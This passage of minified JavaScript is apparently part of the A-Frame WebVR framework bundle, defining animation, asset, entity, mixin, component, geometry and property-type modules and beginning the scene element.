function(i){var r=this.velocity,o=this.el.getComputedAttribute("rotation");return e.copy(r),e.multiplyScalar(i),o?(this.data.fly||(o.x=0),t.set(n.Math.degToRad(o.x),n.Math.degToRad(o.y),0),e.applyEuler(t),e):e}}()})},{"../core/component":57,"../lib/three":101,"../utils/":117}],49:[function(e,t){var i=e("tween.js"),r={alternate:"alternate",alternateReverse:"alternate-reverse",normal:"normal",reverse:"reverse"},n={linear:i.Easing.Linear.None,ease:i.Easing.Cubic.InOut,"ease-in":i.Easing.Cubic.In,"ease-out":i.Easing.Cubic.Out,"ease-in-out":i.Easing.Cubic.InOut,"ease-cubic":i.Easing.Cubic.In,"ease-in-cubic":i.Easing.Cubic.In,"ease-out-cubic":i.Easing.Cubic.Out,"ease-in-out-cubic":i.Easing.Cubic.InOut,"ease-quad":i.Easing.Quadratic.InOut,"ease-in-quad":i.Easing.Quadratic.In,"ease-out-quad":i.Easing.Quadratic.Out,"ease-in-out-quad":i.Easing.Quadratic.InOut,"ease-quart":i.Easing.Quartic.InOut,"ease-in-quart":i.Easing.Quartic.In,"ease-out-quart":i.Easing.Quartic.Out,"ease-in-out-quart":i.Easing.Quartic.InOut,"ease-quint":i.Easing.Quintic.InOut,"ease-in-quint":i.Easing.Quintic.In,"ease-out-quint":i.Easing.Quintic.Out,"ease-in-out-quint":i.Easing.Quintic.InOut,"ease-sine":i.Easing.Sinusoidal.InOut,"ease-in-sine":i.Easing.Sinusoidal.In,"ease-out-sine":i.Easing.Sinusoidal.Out,"ease-in-out-sine":i.Easing.Sinusoidal.InOut,"ease-expo":i.Easing.Exponential.InOut,"ease-in-expo":i.Easing.Exponential.In,"ease-out-expo":i.Easing.Exponential.Out,"ease-in-out-expo":i.Easing.Exponential.InOut,"ease-circ":i.Easing.Circular.InOut,"ease-in-circ":i.Easing.Circular.In,"ease-out-circ":i.Easing.Circular.Out,"ease-in-out-circ":i.Easing.Circular.InOut,"ease-elastic":i.Easing.Elastic.InOut,"ease-in-elastic":i.Easing.Elastic.In,"ease-out-elastic":i.Easing.Elastic.Out,"ease-in-out-elastic":i.Easing.Elastic.InOut,"ease-back":i.Easing.Back.InOut,"ease-in-back":i.Easing.Back.In,"ease-out-back":i.Easing.Back.Out,"ease-in-out-back":i.Easing.Back.InOut,"ease-bounce":i.Easing.Bounce.InOut,"ease-in-bounce":i.Easing.Bounce.In,"ease-out-bounce":i.Easing.Bounce.Out,"ease-in-out-bounce":i.Easing.Bounce.InOut},o={backwards:"backwards",both:"both",forwards:"forwards",none:"none"},a={indefinite:"indefinite"},s={attribute:"rotation",begin:"",end:"",delay:0,dur:1e3,easing:"ease",direction:r.normal,fill:o.forwards,from:void 0,repeat:0,to:void 0};t.exports.defaults=s,t.exports.directions=r,t.exports.easingFunctions=n,t.exports.fills=o,t.exports.repeats=a},{"tween.js":18}],50:[function(e,t){function i(e){return g.extend({},e)}function r(e,t,i,r,a){function s(){var t=b[0],i=b[1],r=e.components[t],n=r&&r.schema;return n&&n[i]&&"color"===n[i].type}function u(){x=b[0],A=b[1],M=e.components[x],M||(e.setAttribute(x,""),M=e.components[x]),y=M.schema,T[t]=void 0===i?v(e,t):i,T[t]=d(T[t],y[A]),L[t]=d(r,y[A]),w=function(i){t in i&&e.setAttribute(x,A,i[t])}}function l(){T=i?h.parse(i):a,L=h.parse(r),w=function(i){e.setAttribute(t,i)}}function p(){T[t]=void 0===i?!1:n(i),T[t]=o(T[t]),L[t]=o(n(r)),w=function(i){e.setAttribute(t,!!i[t])}}function f(){T=new m.Color(i),L=new m.Color(r),w=function(i){b.length>1&&e.setAttribute(b[0],b[1],c(i)),e.setAttribute(t,c(i))}}function g(){T[t]=parseFloat(void 0===i?e.getAttribute(t):i),L[t]=parseFloat(r),w=function(i){e.setAttribute(t,i[t])}}var y,M,A,x,w,b=t.split("."),T={},L={};return 2===b.length?s()?f():u():r&&E(r)?l():-1!==["true","false"].indexOf(r)?p():isNaN(r)?f():g(),{from:T,partialSetAttribute:w,to:L}}function n(e){return"true"===e?!0:!1}function o(e){return e?1:0}function a(e){var t=e.toString(16);return 1===t.length?"0"+t:t}function s(e){return Math.floor(255*Math.min(Math.abs(e),1))}function c(e){return"#"+["r","g","b"].map(function(t){return a(s(e[t]))}).join("")}var u=e("./a-node"),l=e("../constants/animation"),h=e("../utils/").coordinates,d=e("./schema").parseProperty,p=e("./a-register-element").registerElement,f=e("tween.js"),m=e("../lib/three"),g=e("../utils/"),v=g.entity.getComponentProperty,y=l.defaults,M=l.directions,A=l.easingFunctions,x=l.fills,w=l.repeats,E=h.isCoordinate;t.exports.AAnimation=p("a-animation",{prototype:Object.create(u.prototype,{createdCallback:{value:function(){this.bindMethods(),this.isRunning=!1,this.partialSetAttribute=function(){},this.tween=null}},attachedCallback:{value:function(){function e(){return i.isPlaying?i.hasLoaded?(t.applyMixin(),t.update(),void t.load()):void i.addEventListener("loaded",e):void i.addEventListener("play",e)}var t=this,i=this.el=this.parentNode;e()}},attributeChangedCallback:{value:function(){this.hasLoaded&&this.isRunning&&(this.stop(),this.applyMixin(),this.update())}},detachedCallback:{value:function(){this.isRunning&&this.stop()}},getTween:{value:function(){var e,t,n,o,a=this,s=a.data,c=a.el,u=s.attribute,l=parseInt(s.delay,10),h=v(c,u),d=a.getDirection(s.direction),p=A[s.easing],m=s.fill,g=s.repeat===w.indefinite?1/0:0,y=!1;return e=r(c,u,s.from||a.initialValue,s.to,h),t=e.from,n=e.to,a.partialSetAttribute=e.partialSetAttribute,void 0===a.count&&(a.count=g===1/0?0:parseInt(s.repeat,10)),isNaN(l)&&(l=0),a.initialValue=a.initialValue||i(h),g===1/0&&m===x.forwards&&-1!==[M.alternate,M.alternateReverse].indexOf(s.direction)&&(y=!0),d===M.reverse&&(o=n,n=i(t),t=i(o)),-1!==[x.backwards,x.both].indexOf(m)&&a.partialSetAttribute(t),new f.Tween(i(t)).to(n,s.dur).delay(l).easing(p).repeat(g).yoyo(y).onUpdate(function(){a.partialSetAttribute(this)}).onComplete(a.onCompleted.bind(a))}},update:{value:function(){var e=this.data;"infinite"===e.repeat&&console.warn("Using 'infinite' as 'repeat' value is invalid. Use 'indefinite' instead."),""===e.begin||isNaN(e.begin)||(console.warn("Using 'begin' to specify a delay is deprecated. Use 'delay' instead."),e.delay=e.begin,e.begin="");var t=e.begin,i=e.end;this.evt&&this.removeEventListeners(this.evt),this.evt={begin:t,end:i},this.addEventListeners(this.evt),""===t&&(this.stop(),this.start())},writable:window.debug},onCompleted:{value:function(){var e=this.data;return this.isRunning=!1,-1!==[x.backwards,x.none].indexOf(e.fill)&&this.partialSetAttribute(this.initialValue),0===this.count?(this.count=void 0,void this.emit("animationend")):(this.isRunning=!1,this.count--,void this.start())}},start:{value:function(){!this.isRunning&&this.el.isPlaying&&(this.tween=this.getTween(),this.isRunning=!0,this.tween.start(),this.emit("animationstart"))},writable:!0},stop:{value:function(){var e=this.tween;e&&(e.stop(),this.isRunning=!1,-1!==[x.backwards,x.none].indexOf(this.data.fill)&&this.partialSetAttribute(this.initialValue),this.emit("animationstop"))},writable:!0},getDirection:{value:function(e){return e===M.alternate?(this.prevDirection=this.prevDirection===M.normal?M.reverse:M.normal,this.prevDirection):e===M.alternateReverse?(this.prevDirection=this.prevDirection===M.reverse?M.normal:M.reverse,this.prevDirection):e}},bindMethods:{value:function(){this.start=this.start.bind(this),this.stop=this.stop.bind(this),this.onStateAdded=this.onStateAdded.bind(this),this.onStateRemoved=this.onStateRemoved.bind(this)}},addEventListeners:{value:function(e){var t=this.el,i=this;g.splitString(e.begin).forEach(function(e){t.addEventListener(e,i.start)}),g.splitString(e.end).forEach(function(e){t.addEventListener(e,i.stop)}),""===e.begin&&t.addEventListener("play",this.start),t.addEventListener("pause",this.stop),t.addEventListener("stateadded",this.onStateAdded),t.addEventListener("stateremoved",this.onStateRemoved)}},removeEventListeners:{value:function(e){var t=this.el,i=this.start,r=this.stop;g.splitString(e.begin).forEach(function(e){t.removeEventListener(e,i)}),g.splitString(e.end).forEach(function(e){t.removeEventListener(e,r)}),t.removeEventListener("stateadded",this.onStateAdded),t.removeEventListener("stateremoved",this.onStateRemoved)}},onStateAdded:{value:function(e){e.detail.state===this.data.begin&&this.start()},writable:!0},onStateRemoved:{value:function(e){e.detail.state===this.data.begin&&this.stop()},writable:!0},applyMixin:{value:function(){var e,t,i,r={};i=document.querySelector("#"+this.getAttribute("mixin")),t=i?g.getElData(i,y):{},e=g.getElData(this,y),g.extend(r,y,t,e),this.data=r}}})}),t.exports.getAnimationValues=r},{"../constants/animation":49,"../lib/three":101,"../utils/":117,"./a-node":55,"./a-register-element":56,"./schema":64,"tween.js":18}],51:[function(e,t){function i(e){return e.hasAttribute("autoplay")||"auto"===e.getAttribute("preload")?new Promise(function(t,i){function r(){for(var i=0,r=0;r<e.buffered.length;r++)i+=e.buffered.end(r)-e.buffered.start(r);i>=e.duration&&t()}return 4===e.readyState?t():e.error?i():(e.addEventListener("loadeddata",r,!1),e.addEventListener("progress",r,!1),void e.addEventListener("error",i,!1))}):void 0}var r=e("./a-node"),n=e("../utils/debug"),o=e("./a-register-element").registerElement,a=e("../lib/three"),s=new a.XHRLoader,c=n("core:a-assets:warn");t.exports=o("a-assets",{prototype:Object.create(r.prototype,{createdCallback:{value:function(){this.isAssets=!0}},attachedCallback:{value:function(){var e=this,t=[],r=this.querySelectorAll("audio"),n=this.querySelectorAll("img"),o=parseInt(this.getAttribute("timeout"),10)||3e3,a=this.querySelectorAll("video");if(!this.parentNode.isScene)throw new Error("<a-assets> must be a child of a <a-scene>.");for(var s=0;s<n.length;s++)t.push(new Promise(function(e,t){var i=n[s];i.onload=e,i.onerror=t}));for(s=0;s<r.length;s++)t.push(i(r[s]));for(s=0;s<a.length;s++)t.push(i(a[s]));Promise.all(t).then(this.load.bind(this)),setTimeout(function(){e.hasLoaded||(c("Asset loading timed out in ",o,"ms"),e.emit("timeout"),e.load())},o)}},load:{value:function(){r.prototype.load.call(this,null,function(e){return e.isAssetItem&&e.hasAttribute("src")})}}})}),o("a-asset-item",{prototype:Object.create(r.prototype,{createdCallback:{value:function(){this.data=null,this.isAssetItem=!0}},attachedCallback:{value:function(){var e=this,t=this.getAttribute("src");s.load(t,function(t){e.data=t,r.prototype.load.call(e)})}}})})},{"../lib/three":101,"../utils/debug":115,"./a-node":55,"./a-register-element":56}],52:[function(e,t){var i=e("../utils/debug"),r=e("./a-register-element").registerElement,n=i("core:cubemap:warn");t.exports=r("a-cubemap",{prototype:Object.create(HTMLElement.prototype,{attachedCallback:{value:function(){this.srcs=this.validate()},writable:window.debug},validate:{value:function(){var e,t=this.querySelectorAll("[src]"),i=[];if(6===t.length){for(e=0;e<t.length;e++)i.push(t[e].getAttribute("src"));return i}n("<a-cubemap> did not contain exactly six elements each with a `src` attribute.")},writable:window.debug}})})},{"../utils/debug":115,"./a-register-element":56}],53:[function(e,t){function i(e,t){return void 0!==e.defaultComponents[t]?!0:e.components[t]&&e.components[t].attrValue?!0:n(t,e.mixinEls)}function r(e){var t=[];return e.mixinEls.forEach(function(e){function i(e){t.push(e)}Object.keys(e.componentAttrCache).forEach(i)}),t}function n(e,t){var i,r=!1;for(i=0;i<t.length&&!(r=t[i].hasAttribute(e));++i);return r}function o(e){return e.isEntity}var a,s=e("./a-node"),c=e("./component").components,u=e("./a-register-element"),l=e("../lib/three"),h=e("../utils/"),d=u.isNode,p=h.debug("core:a-entity:debug"),f=u.registerElement,m="__",g=Object.create(s.prototype,{defaultComponents:{value:{position:"",rotation:"",scale:"",visible:""}},createdCallback:{value:function(){this.components={},this.isEntity=!0,this.isPlaying=!1,this.object3D=new l.Group,this.object3D.el=this,this.object3DMap={},this.states=[]}},attributeChangedCallback:{value:function(e,t,i){var r=this.components[e];return r&&r.justInitialized&&""===i?void delete r.justInitialized:void((r||null!==i)&&this.setEntityAttribute(e,t,i))}},attachedCallback:{value:function(){this.addToParent(),this.isScene||this.load()}},detachedCallback:{value:function(){this.parentEl&&!this.isScene&&(Object.keys(this.components).forEach(this.removeComponent.bind(this)),this.parentEl.remove(this))}},applyMixin:{value:function(e){return e?void this.updateComponent(e,this.getAttribute(e)):void this.updateComponents()}},mapStateMixins:{value:function(e,t){var i,r=this.getAttribute("mixin");r&&(i=r.split(" "),i.forEach(function(i){var r=i+"-"+e;t(r)}),this.updateComponents())}},updateStateMixins:{value:function(e,t){var i=this;t=t||"";var r=e.split(" "),n=t?t.split(" "):[],o=n.filter(function(e){return r.indexOf(e)<0});o.forEach(function(e){var t=Array.prototype.forEach,r=document.querySelectorAll("[id^="+e+"-]"),n=[];t.call(r,function(e){n.push(e.id)}),n.forEach(i.unregisterMixin.bind(i))}),this.states.forEach(function(e){r.forEach(function(t){var r=t+"-"+e;i.registerMixin(r)})})}},getObject3D:{value:function(e){return this.object3DMap[e]}},setObject3D:{value:function(e,t){var i=this,r=this.object3DMap[e];r&&this.object3D.remove(r),t instanceof l.Object3D&&(t.el=i,this.object3D.add(t),t.children.length&&t.traverse(function(e){e.el=i})),this.object3DMap[e]=t}},removeObject3D:{value:function(e){this.setObject3D(e,null)}},getOrCreateObject3D:{value:function(e,t){var i=this.getObject3D(e);return!i&&t&&(i=new t,this.setObject3D(e,i)),i}},add:{value:function(e){if(!e.object3D)throw new Error("Trying to add an element that doesn't have an `object3D`");this.emit("child-attached",{el:e}),this.object3D.add(e.object3D)}},addToParent:{value:function(){function e(){t.attachedToParent=!0,i.add&&i.add(t)}var t=this,i=this.parentEl=this.parentNode,r=this.attachedToParent;return i&&!r?d(i)?void e():void i.addEventListener("nodeready",e):void 0}},load:{value:function(){function e(){i.updateComponents()}function t(){i.updateComponents(),i.parentEl.isPlaying&&i.play()}var i=this;if(!this.hasLoaded)return this.addToParent(),this.isScene?void s.prototype.load.call(this,e):void s.prototype.load.call(this,t,o)},writable:window.debug},remove:{value:function(e){this.object3D.remove(e.object3D)}},getChildEntities:{value:function(){for(var e=this.children,t=[],i=0;i<e.length;i++){var r=e[i];r instanceof a&&t.push(r)}return t}},initComponent:{value:function(e,t,r){var n,o=e.split(m),a=o[1],s=o[0],u=i(this,e)||void 0!==t;if(c[s]&&(u||r)&&!(e in this.components)){if(this.initComponentDependencies(s),a&&!c[s].multiple)throw new Error("Trying to initialize multiple components of type `"+s+"`. There can only be one component of this type per entity.");n=this.components[e]=new c[s].Component(this,t,a),this.isPlaying&&n.play(),this.hasAttribute(e)||(n.justInitialized=!0,HTMLElement.prototype.setAttribute.call(this,e,"")),p("Component initialized: %s",e)}},writable:window.debug},initComponentDependencies:{value:function(e){var t,i=this,r=c[e];r&&(t=c[e].dependencies,t&&t.forEach(function(e){i.initComponent(e,void 0,!0)}))}},removeComponent:{value:function(e){var t=this.components[e],i=e in this.defaultComponents,r=n(e,this.mixinEls);i||r||(t.pause(),t.remove(),delete this.components[e],this.emit("componentremoved",{name:e}))}},updateComponents:{value:function(){function e(e){var t=e.split(m)[0];c[t]&&(n[e]=!0)}function t(e){var t=o.getAttribute(e);delete n[e],o.updateComponent(e,t)}var i,n={},o=this;if(this.hasLoaded){var a=this.attributes;for(i=0;i<a.length;++i)e(a[i].name);r(this).forEach(e),Object.keys(this.defaultComponents).forEach(t),Object.keys(n).forEach(t)}}},updateComponent:{value:function(e,t){var i=this.components[e],r=e in this.defaultComponents;return i?null!==t||r?void i.updateProperties(t):void this.removeComponent(e):void this.initComponent(e,t,!1)}},updateComponentProperty:{value:function(e,t,i){var r=this.components[e],n=r&&r.attrValue,o=n?h.extend({},n):{};o[t]=i,this.updateComponent(e,o)}},removeAttribute:{value:function(e){var t=this.components[e];t&&(this.setEntityAttribute(e,void 0,null),this.components[e])||HTMLElement.prototype.removeAttribute.call(this,e)}},play:{value:function(){var e=this.components,t=Object.keys(e);!this.isPlaying&&this.hasLoaded&&(this.isPlaying=!0,t.forEach(function(t){e[t].play()}),this.getChildEntities().forEach(function(e){e.play()}),this.emit("play"))},writable:!0},pause:{value:function(){var e=this.components,t=Object.keys(e);this.isPlaying&&(this.isPlaying=!1,t.forEach(function(t){e[t].pause()}),this.getChildEntities().forEach(function(e){e.pause()}),this.emit("pause"))},writable:!0},setEntityAttribute:{value:function(e,t,i){return c[e]||this.components[e]?void this.updateComponent(e,i):"mixin"===e?void this.mixinUpdate(i,t):void 0}},mixinUpdate:{value:function(e,t){t=t||this.getAttribute("mixin"),this.updateStateMixins(e,t),this.updateComponents()}},setAttribute:{value:function(e,t,i){var r=this.sceneEl&&this.sceneEl.getAttribute("debug"),n=e.split(m)[0];return c[n]?("string"==typeof t&&void 0!==i?this.updateComponentProperty(e,t,i):this.updateComponent(e,t),void(r&&this.components[e].flushToDOM())):(s.prototype.setAttribute.call(this,e,t),void("mixin"===e&&this.mixinUpdate(t)))},writable:window.debug},flushToDOM:{value:function(e){function t(e){n[e].flushToDOM()}var i,r,n=this.components,o=this.children;if(Object.keys(n).forEach(t),e)for(r=0;r<o.length;++r)i=o[r],i.flushToDOM&&i.flushToDOM(e)}},getAttribute:{value:function(e){var t=this.components[e];return t?t.attrValue:HTMLElement.prototype.getAttribute.call(this,e)},writable:window.debug},getComputedAttribute:{value:function(e){var t=this.components[e];return t?t.getData():HTMLElement.prototype.getAttribute.call(this,e)}},addState:{value:function(e){this.is(e)||(this.states.push(e),this.mapStateMixins(e,this.registerMixin.bind(this)),this.emit("stateadded",{state:e}))}},removeState:{value:function(e){var t=this.states.indexOf(e);-1!==t&&(this.states.splice(t,1),this.mapStateMixins(e,this.unregisterMixin.bind(this)),this.emit("stateremoved",{state:e}))}},is:{value:function(e){return-1!==this.states.indexOf(e)}}});a=f("a-entity",{prototype:g}),t.exports=a},{"../lib/three":101,"../utils/":117,"./a-node":55,"./a-register-element":56,"./component":57}],54:[function(e,t){var i=e("./a-node"),r=e("./a-register-element").registerElement,n=e("./component").components;t.exports=r("a-mixin",{prototype:Object.create(i.prototype,{createdCallback:{value:function(){this.componentAttrCache={}}},attributeChangedCallback:{value:function(e,t,i){this.cacheAttribute(e,i)}},attachedCallback:{value:function(){this.cacheAttributes(),this.load()},writable:window.debug},setAttribute:{value:function(e,t){this.cacheAttribute(e,t),HTMLElement.prototype.setAttribute.call(this,e,t)},writable:window.debug},cacheAttribute:{value:function(e,t){var i=n[e];i&&(t=void 0===t?HTMLElement.prototype.getAttribute.call(this,e):t,this.componentAttrCache[e]=i.parseAttrValueForCache(t))}},getAttribute:{value:function(e){return this.componentAttrCache[e]||HTMLElement.prototype.getAttribute.call(this,e)},writable:window.debug},cacheAttributes:{value:function(){var e,t,i=this.attributes;for(t=0;t<i.length;++t)e=i[t].name,this.cacheAttribute(e)}}})})},{"./a-node":55,"./a-register-element":56,"./component":57}],55:[function(e,t){var i=e("./a-register-element").registerElement,r=e("../utils/");t.exports=i("a-node",{prototype:Object.create(HTMLElement.prototype,{createdCallback:{value:function(){this.hasLoaded=!1,this.isNode=!0,this.mixinEls=[],this.mixinObservers={}}},attachedCallback:{value:function(){var e=this.getAttribute("mixin");this.sceneEl=this.isScene?this:this.closestScene(),this.emit("nodeready",{},!1),e&&this.updateMixins(e)}},attributeChangedCallback:{value:function(e,t,i){"mixin"===e&&this.updateMixins(i,t)}},closestScene:{value:function(){for(var e=this;e&&!e.isScene;)e=e.parentElement;return e}},closest:{value:function(e){for(var t=this.matches||this.mozMatchesSelector||this.msMatchesSelector||this.oMatchesSelector||this.webkitMatchesSelector,i=this;i&&!t.call(i,e);)i=i.parentElement;return i}},detachedCallback:{value:function(){}},load:{value:function(e,t){var i,r,n=this;this.hasLoaded||(t=t||function(e){return e.isNode},i=this.getChildren(),r=i.filter(t).map(function(e){return new Promise(function(t){return e.hasLoaded?t():void e.addEventListener("loaded",t)})}),Promise.all(r).then(function(){n.hasLoaded=!0,e&&e(),n.emit("loaded",{},!1)}))},writable:!0},getChildren:{value:function(){for(var e=[],t=0;t<this.children.length;t++)e.push(this.children[t]);return e}},updateMixins:{value:function(e,t){var i=e.split(" "),r=t?t.split(" "):[],n=r.filter(function(e){return i.indexOf(e)<0});this.mixinEls=[],n.forEach(this.unregisterMixin.bind(this)),i.forEach(this.registerMixin.bind(this))}},registerMixin:{value:function(e){if(this.sceneEl){var t=this.sceneEl.querySelector("a-mixin#"+e);t&&(this.attachMixinListener(t),this.mixinEls.push(t))}}},setAttribute:{value:function(e,t){"mixin"===e&&this.updateMixins(t),HTMLElement.prototype.setAttribute.call(this,e,t)}},unregisterMixin:{value:function(e){var t,i,r=this.mixinEls;for(i=0;i<r.length;++i)if(t=r[i],e===t.id){r.splice(i,1);break}this.removeMixinListener(e)}},removeMixinListener:{value:function(e){var t=this.mixinObservers[e];t&&(t.disconnect(),this.mixinObservers[e]=null)}},attachMixinListener:{value:function(e){var t=this,i=e.id,r=this.mixinObservers[i];if(e&&!r){var n=new MutationObserver(function(e){var i=e[0].attributeName;t.applyMixin(i)}),o={attributes:!0};n.observe(e,o),this.mixinObservers[i]=n}}},applyMixin:{value:function(){}},emit:{value:function(e,t,i){var n=this;t=t||{},void 0===i&&(i=!0);var o={bubbles:!!i,detail:t};return e.split(" ").map(function(e){return r.fireEvent(n,e,o)})}},emitter:{value:function(e,t,i){var r=this;return function(){r.emit(e,t,i)}}}})})},{"../utils/":117,"./a-register-element":56}],56:[function(e,t){function i(e){var t={},i=["attachedCallback","attributeChangedCallback","createdCallback"];return n(t,i,l.prototype,e),a(e,t),t}function r(e){var t={},i=["attachedCallback","attributeChangedCallback","createdCallback"],r=["attributeChangedCallback","attachedCallback","createdCallback","detachedCallback"];return n(t,i,e,l.prototype),n(t,r,e,h.prototype),a(e,t),t}function n(e,t,i,r){t.forEach(function(t){o(e,t,i,r)})}function o(e,t,i,r){var n=i[t],o=r[t];if(n&&o&&n!==o){var a=function(){return o.apply(this,arguments),n.apply(this,arguments)};e[t]={value:a,writable:window.debug}}}function a(e,t){var i=Object.getOwnPropertyNames(e);i.forEach(function(i){var r;t[i]||(r=Object.getOwnPropertyDescriptor(e,i),t[i]={value:e[i],writable:r.writable})})}e("document-register-element");var s=document.registerElement,c=t.exports.knownTags={},u=function(e){c[e.toLowerCase()]=!0};t.exports.isNode=function(e){return e.tagName.toLowerCase()in c||e.isNode},t.exports.registerElement=function(e,t){var n=Object.getPrototypeOf(t.prototype),o=t,a=l&&n===l.prototype,c=h&&n===h.prototype;return(a||c)&&u(e),a&&(o=i(t.prototype),o={prototype:Object.create(n,o)}),c&&(o=r(t.prototype),o={prototype:Object.create(n,o)}),s.call(document,e,o)};var l=e("./a-node"),h=e("./a-entity")},{"./a-entity":53,"./a-node":55,"document-register-element":8}],57:[function(e,t){function i(e,t,i,n,o){function a(e){var i=e.getAttribute(t);i&&(s=r(s,i,u))}var s,c=void 0!==n&&null!==n,u=p(i),d=e.mixinEls;return u?s=i["default"]:(s={},Object.keys(i).forEach(function(e){s[e]=i[e]["default"]})),d.forEach(a),c?u?h(n,i):(s=r(s,n,u),l(s,i,void 0,t,o)):u?h(s,i):l(s,i,void 0,t,o)}function r(e,t,i){return i?t:c.extend(e,t)}function n(e){return function(){var t=this.el.sceneEl;this.isPlaying&&(e.call(this),this.isPlaying=!1,this.tick&&t.removeBehavior(this))}}function o(e){return function(){var t=this.el.sceneEl,i=this.el.isPlaying&&!this.isPlaying;this.initialized&&i&&(e.call(this),this.isPlaying=!0,this.tick&&t.addBehavior(this))}}var a=e("./schema"),s=e("./system"),c=e("../utils/"),u=t.exports.components={},l=a.parseProperties,h=a.parseProperty,d=a.process,p=a.isSingleProperty,f=a.stringifyProperties,m=a.stringifyProperty,g=c.styleParser,v=t.exports.Component=function(e,t,i){this.el=e,this.id=i,this.attrName=this.name+(i?"__"+i:""),this.updateCachedAttrValue(t)};v.prototype={schema:{},init:function(){},update:function(){},updateSchema:void 0,tick:void 0,play:function(){},pause:function(){},remove:function(){},parse:function(e,t){var i=this.schema;return p(i)?h(e,i):l(g.parse(e),i,!0,this.name,t)},stringify:function(e){var t=this.schema;return"string"==typeof e?e:p(t)?m(e,t):(e=f(e,t),g.stringify(e))},getData:function(){var e=this.data;return"object"!=typeof e?e:c.extend({},e)},updateCachedAttrValue:function(e){var t=p(this.schema),i=this.parseAttrValueForCache(e);this.attrValue=r({},i,t)},parseAttrValueForCache:function(e){var t;return"string"!=typeof e?e:(p(this.schema)?(t=this.schema.parse(e),"string"==typeof t&&(t=e)):t=g.parse(e),t)},flushToDOM:function(){var e=this.attrValue;e&&HTMLElement.prototype.setAttribute.call(this.el,this.attrName,this.stringify(e))},updateProperties:function(e){var t=this.el,n=p(this.schema),o=r({},this.data,n);this.updateCachedAttrValue(e),this.updateSchema&&this.updateSchema(i(t,this.name,this.schema,this.attrValue,!0)),this.data=i(t,this.name,this.schema,this.attrValue),(n||!c.deepEqual(o,this.data))&&(this.initialized?this.update(o):(this.init(),this.initialized=!0,this.update(o),t.isPlaying&&this.play()),t.emit("componentchanged",{id:this.id,name:this.name,newData:this.getData(),oldData:o}))},extendSchema:function(e){var t=c.extend({},u[this.name].schema);c.extend(t,e),this.schema=d(t),this.el.emit("schemachanged",{component:this.name})}},t.exports.registerComponent=function(e,t){var i,r={};if(-1!==e.indexOf("__"))throw new Error("The component name `"+e+"` is not allowed. The sequence __ (double underscore) is reserved to specify an id for multiple components of the same type");if(Object.keys(t).forEach(function(e){r[e]={value:t[e],writable:!0}}),u[e])throw new Error("The component `"+e+"` has been already registered. Check that you are not loading two versions of the same component or two different components of the same name.");return i=function(e,t,i){v.call(this,e,t,i),e.hasLoaded&&this.updateProperties(this.attrValue)},i.prototype=Object.create(v.prototype,r),i.prototype.name=e,i.prototype.constructor=i,i.prototype.system=s&&s.systems[e],i.prototype.play=o(i.prototype.play),i.prototype.pause=n(i.prototype.pause),u[e]={Component:i,dependencies:i.prototype.dependencies,multiple:i.prototype.multiple,parse:i.prototype.parse,parseAttrValueForCache:i.prototype.parseAttrValueForCache,schema:c.extend(d(i.prototype.schema)),stringify:i.prototype.stringify,type:i.prototype.type},i},t.exports.buildData=i},{"../utils/":117,"./schema":64,"./system":66}],58:[function(e,t){var i=e("./schema"),r=i.process,n=t.exports.geometries={},o=t.exports.geometryNames=[],a=e("../lib/three"),s=t.exports.Geometry=function(){};s.prototype={schema:{},init:function(){return this.geometry=new a.Geometry,this.geometry},update:function(){}},t.exports.registerGeometry=function(e,t){var i,a={};if(Object.keys(t).forEach(function(e){a[e]={value:t[e],writable:!0}}),n[e])throw new Error("The geometry `"+e+"` has been already registered");return i=function(){s.call(this)},i.prototype=Object.create(s.prototype,a),i.prototype.name=e,i.prototype.constructor=i,n[e]={Geometry:i,schema:r(i.prototype.schema)},o.push(e),i}},{"../lib/three":101,"./schema":64
}],59:[function(e,t){function i(e,t,i,r){return"type"in M?void y("Property type "+e+" is already registered."):void(M[e]={"default":t,parse:i||o,stringify:r||a})}function r(e){function t(e){return e.trim()}return Array.isArray(e)?e:e&&"string"==typeof e?e.split(",").map(t):[]}function n(e){return e.join(", ")}function o(e){return e}function a(e){return null===e?"null":e.toString()}function s(e){return"false"!==e&&e!==!1}function c(e){return parseInt(e,10)}function u(e){return parseFloat(e,10)}function l(e){return e?"string"!=typeof e?e:document.querySelector(e):null}function h(e){return e?"string"!=typeof e?e:Array.from(document.querySelectorAll(e)):null}function d(e){return e.getAttribute?"#"+e.getAttribute("id"):a(e)}function p(e){return e instanceof Array?e.map(function(e){return"#"+e.getAttribute("id")}).join(", "):a(e)}function f(e){var t=e.match(/\url\((.+)\)/);if(t)return t[1];var i=l(e);return i?i.getAttribute("src"):""}function m(e){return g.parse(e,this["default"])}var g=e("../utils/coordinates"),v=e("debug"),y=v("core:propertyTypes:warn"),M=t.exports.propertyTypes={};i("array",[],r,n),i("boolean",!1,s),i("color","#FFF",o,a),i("int",0,c),i("number",0,u),i("selector","",l,d),i("selectorAll","",h,p),i("src","",f),i("string","",o,a),i("time",0,c),i("vec2",{x:0,y:0},m,g.stringify),i("vec3",{x:0,y:0,z:0},m,g.stringify),i("vec4",{x:0,y:0,z:0,w:0},m,g.stringify),t.exports.registerPropertyType=i},{"../utils/coordinates":114,debug:3}],60:[function(e,t){function i(e,t){return t?{height:e.parentElement.offsetHeight,width:e.parentElement.offsetWidth}:{height:window.innerHeight,width:window.innerWidth}}var r=e("./metaTags").inject,n=e("./wakelock"),o=e("../a-register-element"),a=e("../system").systems,s=e("../../lib/three"),c=e("tween.js"),u=e("../../utils/"),l=e("../a-entity"),h=e("../a-node"),d=e("./postMessage"),p=u.checkHeadsetConnected,f=o.registerElement,m=u.isIOS(),g=u.isMobile();t.exports=f("a-scene",{prototype:Object.create(l.prototype,{defaultComponents:{value:{canvas:"","keyboard-shortcuts":"","vr-mode-ui":""}},createdCallback:{value:function(){this.isMobile=g,this.isIOS=m,this.isScene=!0,this.object3D=new s.Scene,this.systems={},this.time=0,this.init()}},init:{value:function(){this.behaviors=[],this.hasLoaded=!1,this.isPlaying=!1,this.originalHTML=this.innerHTML,this.addEventListener("render-target-loaded",function(){this.setupRenderer(),this.resize()}),this.addFullScreenStyles(),d(this)},writable:!0},addFullScreenStyles:{value:function(){var e=document.documentElement;e.classList.add("a-html"),document.body.classList.add("a-body"),this.classList.add("fullscreen")}},removeFullScreenStyles:{value:function(){var e=document.documentElement;e.classList.remove("a-html"),document.body.classList.remove("a-body"),this.classList.remove("fullscreen")}},attachedCallback:{value:function(){var e=this.resize.bind(this);r(this),n(this),this.initSystems(),window.addEventListener("load",e),window.addEventListener("resize",e),this.play()},writable:window.debug},initSystems:{value:function(){Object.keys(a).forEach(this.initSystem.bind(this))}},initSystem:{value:function(e){var t;this.systems[e]||(t=this.systems[e]=new 